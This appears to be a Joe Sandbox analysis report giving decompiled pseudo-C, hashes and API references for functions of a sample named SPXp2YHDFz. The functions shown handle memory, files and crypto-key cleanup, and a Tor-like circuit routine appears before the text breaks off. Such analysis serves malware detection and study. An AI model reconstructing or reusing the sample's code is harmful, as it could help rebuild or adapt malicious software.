Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fdeb371f6e381bee0bfee10da99b8793dfa08ddac3b6606912c81b396be6910c
Instruction ID: 31087c99b4c6d9c17b59d108fda416b015320224c3185dc1029aa025ab38e00f
Opcode Fuzzy Hash: fdeb371f6e381bee0bfee10da99b8793dfa08ddac3b6606912c81b396be6910c
Instruction Fuzzy Hash: 59113863A00F5599EB009FA6D8400AC7370FB88BA8B548229DF9D57B99EF38E595C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D781D58 Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00007FF67FF61D781D58(signed int __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, signed int __r8, char _a8, long long _a16, long long _a24, long long _a32) {
				void* _t19;
				signed long long _t27;
				void* _t43;

				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				if (__r8 != 0xffffffff) goto 0x1d781d87;
				_t43 = (__r8 | __r8) + 1;
				if ( *((char*)(_t43 + __rdx)) != 0) goto 0x1d781d7e;
				_a8 = 0;
				asm("dec eax");
				_t27 = __rbx &  *((intOrPtr*)(__rcx + 0x10)) -  *((intOrPtr*)(__rcx + 8)) - 0x00000001;
				E00007FF67FF61D782024(_t27, __rcx, _t27 + 1 + _t43, __rcx,  &_a8); // executed
				_t19 = memmove(??, ??, ??);
				 *((char*)(_t27 + _t43 +  *((intOrPtr*)(__rcx + 8)))) = 0;
				return _t19;
			}

0x7ff61d781d58
0x7ff61d781d5d
0x7ff61d781d62
0x7ff61d781d79
0x7ff61d781d7e
0x7ff61d781d85
0x7ff61d781d94
0x7ff61d781da3
0x7ff61d781da6
0x7ff61d781db0
0x7ff61d781dc2
0x7ff61d781dd9
0x7ff61d781dea

APIs

memmove.MSVCRT ref: 00007FF61D781DC2

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: dd23b1475436a075d1893a70a51c2261b175b2d757e1c6301cdc016cbcd916a1
Instruction ID: 87b853fe3af3440413ac7fdb0f095d1455f5301391279263f38a82b9dbe44a3a
Opcode Fuzzy Hash: dd23b1475436a075d1893a70a51c2261b175b2d757e1c6301cdc016cbcd916a1
Instruction Fuzzy Hash: 8C016122B18AC185DB148F16F5803AAA720EB85FE8F585231EBAD47B99DF2CD045C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D782024 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00007FF67FF61D782024(long long __rbx, long long __rcx, void* __rdx, long long __rsi, void* __r8, long long _a8, long long _a16) {
				void* _t15;
				long long _t24;
				long long _t26;
				signed long long _t34;
				void* _t42;
				intOrPtr _t47;

				_t26 = __rcx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t24 = __rcx;
				_t3 = _t26 + 0x10; // 0x10ed515ffffff
				_t4 = _t24 + 8; // 0xfffe202444c74838
				_t47 =  *_t4;
				_t34 =  *_t3 - _t47;
				if (__rdx - _t34 < 0) goto 0x1d782087;
				_t5 = _t24 + 0x18; // 0xccccc338c4834890
				if (__rdx -  *_t5 - _t47 <= 0) goto 0x1d782079;
				_t37 =  >  ? __rdx : _t34 + _t34 * 2 >> 1; // executed
				E00007FF67FF61D7820A4(__rcx, __rcx,  >  ? __rdx : _t34 + _t34 * 2 >> 1, __r8, _t42);
				_t15 = memset(??, ??, ??);
				_t10 = _t24 + 8; // 0xfffe202444c74838
				 *((long long*)(__rcx + 0x10)) =  *_t10 + __rdx;
				return _t15;
			}

0x7ff61d782024
0x7ff61d782024
0x7ff61d782029
0x7ff61d782036
0x7ff61d782039
0x7ff61d782043
0x7ff61d782043
0x7ff61d782047
0x7ff61d78204d
0x7ff61d78204f
0x7ff61d782059
0x7ff61d782068
0x7ff61d78206c
0x7ff61d782082
0x7ff61d782087
0x7ff61d782093
0x7ff61d7820a1

APIs

memset.MSVCRT ref: 00007FF61D782082

Part of subcall function 00007FF61D7820A4: malloc.MSVCRT(?,?,00000106,00007FF61D782071), ref: 00007FF61D7820D6
Part of subcall function 00007FF61D7820A4: free.MSVCRT(?,?,00000106,00007FF61D782071), ref: 00007FF61D7820F6

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freemallocmemset
String ID:
API String ID: 3809226132-0
Opcode ID: 0036d6926ea464a816c554677d954692bd41091447cf2a0b382a901d59b84555
Instruction ID: 3bac32690d25046a79f8beb3ccd5ebe6a1fde698085793d659825fe32b4b82ec
Opcode Fuzzy Hash: 0036d6926ea464a816c554677d954692bd41091447cf2a0b382a901d59b84555
Instruction Fuzzy Hash: CA016DA2718BD082DB08DFAAE59407DA762EB88FE47548035DF9D5BB1DDE38C495C380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D783034 Relevance: 1.3, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00007FF67FF61D783034(void* __eflags, void* __rdx, void* __r8, void* __r9) {
				char _v56;
				signed long long _v64;
				long long _v72;
				void* __rbx;
				int _t16;
				void* _t17;
				void* _t21;
				void* _t33;

				_t21 = _t33;
				 *((long long*)(_t21 - 0x68)) = 0xfffffffe;
				asm("movups xmm0, [ecx]");
				asm("movdqu [eax-0x58], xmm0");
				r8d = 0x40000000;
				_t3 = _t21 - 0x48; // 0x3fffffb8, executed
				E00007FF67FF61D782C6C(__eflags, __rdx, _t3, __r8, __r9); // executed
				 *((intOrPtr*)(_v72 + 0x70))();
				_v72 = 0x1d7937f8;
				if (_v64 == 0xffffffff) goto 0x1d7830a1;
				_t16 = CloseHandle(??);
				_v64 = _v64 | 0xffffffff;
				_t17 = E00007FF67FF61D781BDC(_t16,  &_v56);
				_v72 = 0x1d793870;
				return _t17;
			}

0x7ff61d783034
0x7ff61d78303f
0x7ff61d78304a
0x7ff61d78304d
0x7ff61d783052
0x7ff61d78305c
0x7ff61d783060
0x7ff61d78307a
0x7ff61d783085
0x7ff61d783093
0x7ff61d783095
0x7ff61d78309b
0x7ff61d7830a6
0x7ff61d7830b3
0x7ff61d7830c0

APIs

Part of subcall function 00007FF61D782C6C: CreateFileA.KERNELBASE ref: 00007FF61D782D73

CloseHandle.KERNEL32 ref: 00007FF61D783095

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: f14184d1ccdad040c0ea91dc9e6018aa21dede845ce069ef5e6543c9ca3e239d
Instruction ID: d5cb66d771f6840f34ff4186db5fdb59dbae4c5fffe2b38ebbda40aaa464c766
Opcode Fuzzy Hash: f14184d1ccdad040c0ea91dc9e6018aa21dede845ce069ef5e6543c9ca3e239d
Instruction Fuzzy Hash: A4016962615F8591DA00CB69E4443ACA360F786F70F501326DABD837F5EF68C989C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D781F00 Relevance: 1.3, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF61D781F00(long long __rbx, void* __rcx, long long __rsi, long long _a8, long long _a16) {
				long long _v24;
				void* _t9;
				void* _t10;
				intOrPtr _t14;
				intOrPtr _t23;

				_v24 = 0xfffffffe;
				_a8 = __rbx;
				_a16 = __rsi;
				_t23 =  *((intOrPtr*)(__rcx + 0x10));
				_t14 =  *((intOrPtr*)(__rcx + 8));
				if (_t14 - _t23 >= 0) goto 0x1d781f3f;
				_t10 = E00007FF67FF61D781BDC(_t9, _t14); // executed
				if (_t14 + 0x20 - _t23 < 0) goto 0x1d781f29;
				free(??); // executed
				return _t10;
			}

0x7ff61d781f06
0x7ff61d781f0f
0x7ff61d781f14
0x7ff61d781f1c
0x7ff61d781f20
0x7ff61d781f27
0x7ff61d781f30
0x7ff61d781f39
0x7ff61d781f42
0x7ff61d781f58

APIs

free.MSVCRT ref: 00007FF61D781F42

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 45de159b641adf75601e6ceec15e4f3aa40b148adba1adf9107636cc9ee04e8f
Instruction ID: ca443c1206b01571aea20dd95f4c00308928e74cea11f393f9afce3a3e10d1af
Opcode Fuzzy Hash: 45de159b641adf75601e6ceec15e4f3aa40b148adba1adf9107636cc9ee04e8f
Instruction Fuzzy Hash: 90F08221A09A9082EA104B16F404069A331F749FF4B2C0331EFBD07BD4CF2DD4928700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D784FDC Relevance: 1.3, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00007FF67FF61D784FDC(long long __rcx, void* __rdx) {
				void* _v40;
				void* __rbx;
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t21;
				void* _t22;

				_t12 = _t22;
				 *((long long*)(_t12 - 0x58)) = 0xfffffffe;
				_t13 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0xc)) == 5) goto 0x1d785030;
				asm("xorps xmm0, xmm0");
				asm("movdqa [eax-0x48], xmm0");
				r8b = 4;
				_t5 = _t12 - 0x38; // -52
				E00007FF67FF61D7845C0( *((intOrPtr*)(__rcx + 8)), _t5);
				E00007FF67FF61D78A86C(_t12,  *((intOrPtr*)(__rcx)), _t12); // executed
				free(??);
				_t9 = E00007FF67FF61D785038(_t13, _t13, _t12, _t21); // executed
				return _t9;
			}

0x7ff61d784fdc
0x7ff61d784fe4
0x7ff61d784fec
0x7ff61d784ff3
0x7ff61d784ff5
0x7ff61d784ff8
0x7ff61d785001
0x7ff61d785007
0x7ff61d78500b
0x7ff61d785017
0x7ff61d785022
0x7ff61d78502b
0x7ff61d785035

APIs

Part of subcall function 00007FF61D78A86C: free.MSVCRT ref: 00007FF61D78A8B9

free.MSVCRT ref: 00007FF61D785022

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f148ba87c2bca0954a3bd2e64a3c4554d289a95c3724d077c118426df8428b32
Instruction ID: e6d3a98f6f09df5f1da9fb53c4d1eebff1b4512f6a128a7276f7a91a19107584
Opcode Fuzzy Hash: f148ba87c2bca0954a3bd2e64a3c4554d289a95c3724d077c118426df8428b32
Instruction Fuzzy Hash: D9F08266A12A8581EA00DB35D54906D6320ABC5FB4B248335DA7D433F5FE38E88AC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78A86C Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF67FF61D78A86C(void* __rax, intOrPtr* __rcx, void* __rdx) {
				void* _v32;
				void* _v40;
				char _v48;
				long long _v56;
				void* __rbx;
				void* _t10;
				void* _t23;

				_v56 = 0xfffffffe;
				if (E00007FF67FF61D78ABB0(__rcx) == 0) goto 0x1d78a8bf;
				r8d =  *(__rcx + 0x10) & 0x0000ffff;
				E00007FF67FF61D784674(__rcx, __rdx,  &_v48, _t23);
				_t10 =  *((intOrPtr*)( *((intOrPtr*)( *__rcx)) + 0x40))();
				free(??);
				return _t10;
			}

0x7ff61d78a872
0x7ff61d78a888
0x7ff61d78a88a
0x7ff61d78a897
0x7ff61d78a8b0
0x7ff61d78a8b9
0x7ff61d78a8c4

APIs

free.MSVCRT ref: 00007FF61D78A8B9

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 7162642e17fae1c30b1d7a6659765242b9ccb7104566d3889c25a4b9857a1c65
Instruction ID: 3bcfd7399e85aa7add14f80e6db91adfcd17063421b298e13e3c80946f3d1fe7
Opcode Fuzzy Hash: 7162642e17fae1c30b1d7a6659765242b9ccb7104566d3889c25a4b9857a1c65
Instruction Fuzzy Hash: 0DF08262624F4182DB109B35E00046A6321FB85FF8B001321EEAE573E9EF2CC1498700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D781D04 Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00007FF67FF61D781D04(long long __rbx, void* __rcx, void* __rdx, long long __rsi, signed int __r8, long long _a8, long long _a16) {

				_a8 = __rbx;
				_a16 = __rsi;
				if (__r8 != 0xffffffff) goto 0x1d781d2e;
				if ( *((char*)(__rdx + (__r8 | __r8) + 1)) != 0) goto 0x1d781d25;
				E00007FF67FF61D781C00(__rcx, (__r8 | __r8) + 1); // executed
				return memmove(??, ??, ??);
			}

0x7ff61d781d04
0x7ff61d781d09
0x7ff61d781d20
0x7ff61d781d2c
0x7ff61d781d31
0x7ff61d781d57

APIs

memmove.MSVCRT ref: 00007FF61D781D40

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 08e33cdf5f757835e58d3b58ae3f9332a3a7578bed8225f4b66d966385949973
Instruction ID: cf080e115ff1a683b0f1407a0097aa0927321c6a0991fcf9b6e664aba2d68dfe
Opcode Fuzzy Hash: 08e33cdf5f757835e58d3b58ae3f9332a3a7578bed8225f4b66d966385949973
Instruction Fuzzy Hash: E8E06D51F18BD541EA004A53B5402AAA750AB49FF0F18A370EF7E4BBCADE2CE4A18700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D786D40 Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF67FF61D786D40(long long __rbx, signed long long* __rcx, long long __rdx, void* _a8) {
				void* _t8;
				void* _t9;
				void* _t12;
				long long _t14;
				void* _t21;
				signed long long* _t22;
				void* _t24;

				_t12 = _t24;
				 *((long long*)(_t12 + 0x10)) = __rdx;
				 *((long long*)(_t12 - 0x18)) = 0xfffffffe;
				 *((long long*)(_t12 + 8)) = __rbx;
				_t22 = __rcx;
				_t14 =  *((intOrPtr*)(__rcx));
				if (_t14 == 0) goto 0x1d786d83;
				 *((long long*)(_t12 + 0x10)) = _t14;
				_t8 = E00007FF67FF61D7874BC(_t14 + 0x18); // executed
				_t9 = E00007FF67FF61D7873F0(_t8, _t14, _t14 + 0x10); // executed
				free(_t21);
				 *_t22 =  *_t22 & 0x00000000;
				return _t9;
			}

0x7ff61d786d40
0x7ff61d786d43
0x7ff61d786d4c
0x7ff61d786d54
0x7ff61d786d58
0x7ff61d786d5b
0x7ff61d786d61
0x7ff61d786d63
0x7ff61d786d6b
0x7ff61d786d75
0x7ff61d786d7d
0x7ff61d786d83
0x7ff61d786d91

APIs

Part of subcall function 00007FF61D7873F0: CryptDestroyHash.ADVAPI32 ref: 00007FF61D787427
Part of subcall function 00007FF61D7873F0: CryptDestroyHash.ADVAPI32 ref: 00007FF61D787442
Part of subcall function 00007FF61D7873F0: CryptDestroyKey.ADVAPI32 ref: 00007FF61D787472
Part of subcall function 00007FF61D7873F0: CryptDestroyKey.ADVAPI32 ref: 00007FF61D787494
Part of subcall function 00007FF61D7873F0: free.MSVCRT ref: 00007FF61D7874A3

free.MSVCRT ref: 00007FF61D786D7D

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy$Hashfree
String ID:
API String ID: 2501928189-0
Opcode ID: ad39e3b5b44f5a141f55cf3877cfce3744cfd8974f443ba9ac824d4b2a397870
Instruction ID: 9b2f7021f0f14a4e748960d45009f724ca172b90622f7b90d801cd2420b18b82
Opcode Fuzzy Hash: ad39e3b5b44f5a141f55cf3877cfce3744cfd8974f443ba9ac824d4b2a397870
Instruction Fuzzy Hash: FAF0F822614B4192EF049F24E855268B360EB84FB0F594734DB7A473E5EF38D965C380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78C078 Relevance: 1.3, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF61D78C078(signed int __edx, void* __eflags, long long __rbx, long long __rcx, long long _a8, long long _a16) {
				long long _v24;
				void* _t7;
				void* _t8;
				void* _t20;

				_a8 = __rcx;
				_v24 = 0xfffffffe;
				_a16 = __rbx;
				_t8 = E00007FF67FF61D78BFE4(_t7, __rbx, __rcx + 0x10, _t20); // executed
				if ((__edx & 0x00000001) == 0) goto 0x1d78c0ae;
				free(??);
				return _t8;
			}

0x7ff61d78c078
0x7ff61d78c082
0x7ff61d78c08b
0x7ff61d78c099
0x7ff61d78c0a2
0x7ff61d78c0a7
0x7ff61d78c0bb

APIs

Part of subcall function 00007FF61D78BFE4: CryptDestroyKey.ADVAPI32 ref: 00007FF61D78C021
Part of subcall function 00007FF61D78BFE4: CryptDestroyKey.ADVAPI32 ref: 00007FF61D78C039

free.MSVCRT ref: 00007FF61D78C0A7

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy$free
String ID:
API String ID: 983779948-0
Opcode ID: 1e21880bdffabe4c9a4fdd360a5c47085e8c1480989776ef2b0c4f63dc971d60
Instruction ID: 022823f34b02e6f406f616b2efaa31800577b8ba95787e4f153131cb3b6406fd
Opcode Fuzzy Hash: 1e21880bdffabe4c9a4fdd360a5c47085e8c1480989776ef2b0c4f63dc971d60
Instruction Fuzzy Hash: A8E0DF21608A4141EA204719F50513DA220AB86BF0F684330DAB802BF9DE2CD0918600

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D783A0C Relevance: 1.3, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00007FF67FF61D783A0C(signed int __edx, long long __rbx, void* __rcx, long long _a8) {
				long long _v24;
				void* _t6;

				_v24 = 0xfffffffe;
				_a8 = __rbx;
				_t6 = E00007FF67FF61D783B28(__rcx); // executed
				if ((__edx & 0x00000001) == 0) goto 0x1d783a3a;
				free(??);
				return _t6;
			}

0x7ff61d783a12
0x7ff61d783a1b
0x7ff61d783a25
0x7ff61d783a2e
0x7ff61d783a33
0x7ff61d783a47

APIs

free.MSVCRT ref: 00007FF61D783A33

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4ff739ed8dad0ecd35c64bbc93c6bba3b99ae36b76f1660691d6939064cbe60e
Instruction ID: 2c9e92b91a703ef705f907d48855dcda3ff1b6c1febe3211f59d002329d0e110
Opcode Fuzzy Hash: 4ff739ed8dad0ecd35c64bbc93c6bba3b99ae36b76f1660691d6939064cbe60e
Instruction Fuzzy Hash: 35D0C221708B8142E6205729BA05129A320BF86FF0F681330DABC837F5DF2DD4824600

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D781BDC Relevance: 1.3, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

free.MSVCRT ref: 00007FF61D781BF2

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 95b04edf47997a267686402994a91fbec0e76355485901791f56d43197bf36de
Instruction ID: 33cb9ae43ba1af5a4da332166a72351877c52705e0c75d7b2efff7383c99b866
Opcode Fuzzy Hash: 95b04edf47997a267686402994a91fbec0e76355485901791f56d43197bf36de
Instruction Fuzzy Hash: E1C00222914A8591DA20AB24E84A0196720F796B75BA09324DABE456F4CF28D55BCB00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF61D7856B4 Relevance: 19.8, APIs: 4, Strings: 9, Instructions: 333
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E00007FF67FF61D7856B4(void* __ecx, void* __edi, long long __rcx, void* __rdx, long long __r8, long long __r9) {
				void* __rbx;
				void* __rsi;
				void* _t168;
				void* _t195;
				signed long long _t217;
				signed long long _t221;
				long long _t224;
				intOrPtr* _t226;
				intOrPtr _t227;
				intOrPtr* _t228;
				intOrPtr _t229;
				intOrPtr _t231;
				intOrPtr _t232;
				void* _t245;
				intOrPtr _t246;
				void* _t247;
				void* _t248;
				intOrPtr _t252;
				intOrPtr _t253;
				long long _t259;
				void* _t267;
				void* _t319;
				void* _t320;
				void* _t321;
				void* _t324;
				void* _t325;
				void* _t327;
				void* _t328;
				void* _t357;
				void* _t359;
				void* _t361;
				intOrPtr _t365;
				void* _t367;
				void* _t368;
				void* _t370;
				void* _t372;
				void* _t373;
				void* _t374;

				_t194 = __edi;
				 *((long long*)(_t327 + 0x20)) = __r9;
				 *((long long*)(_t327 + 0x18)) = __r8;
				 *((long long*)(_t327 + 8)) = __rcx;
				_t325 = _t327 - 0x50;
				_t328 = _t327 - 0x150;
				 *((long long*)(_t325 - 0x20)) = 0xfffffffe;
				_t368 = __rdx;
				_t252 =  *((intOrPtr*)(__rcx + 0x40));
				_t217 =  *((intOrPtr*)(__rcx + 0x48)) - _t252 >> 3;
				if (_t217 == 0) goto 0x1d785bcc;
				_t322 =  *((intOrPtr*)( *((intOrPtr*)(_t252 + _t217 * 8 - 8)) + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t252 + _t217 * 8 - 8)) + 8)) == 0) goto 0x1d785bcc;
				_t253 =  *((intOrPtr*)(__rdx + 0x40));
				_t221 =  *((intOrPtr*)(__rdx + 0x48)) - _t253 >> 3;
				if (_t221 == 0) goto 0x1d785bbf;
				_t246 =  *((intOrPtr*)( *((intOrPtr*)(_t253 + _t221 * 8 - 8)) + 8));
				if (_t246 == 0) goto 0x1d785bbf;
				E00007FF67FF61D781720(0, __edi, 0x1d79d010, "circuit::rendezvous_introduce() [or: %s, state: introducing]\n",  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t252 + _t217 * 8 - 8)) + 8)) + 0x40)));
				 *((intOrPtr*)(__rcx + 0xc)) = 9;
				E00007FF67FF61D781720(0, __edi, 0x1d79d010, "circuit::rendezvous_introduce() [or: %s, state: completing]\n",  *((intOrPtr*)(_t322 + 0x40)));
				 *((intOrPtr*)(_t368 + 0xc)) = 0xb;
				asm("inc ecx");
				asm("movdqu [esp+0x40], xmm0");
				E00007FF67FF61D786C44(0, _t246, _t325 + 0x28, _t328 + 0x40, _t370);
				E00007FF67FF61D789E50(_t246, _t246, _t328 + 0x40);
				E00007FF67FF61D7825F4( *((intOrPtr*)(_t253 + _t221 * 8 - 8)), _t325 - 0x60, _t367);
				_t259 =  *((intOrPtr*)(_t325 - 0x58));
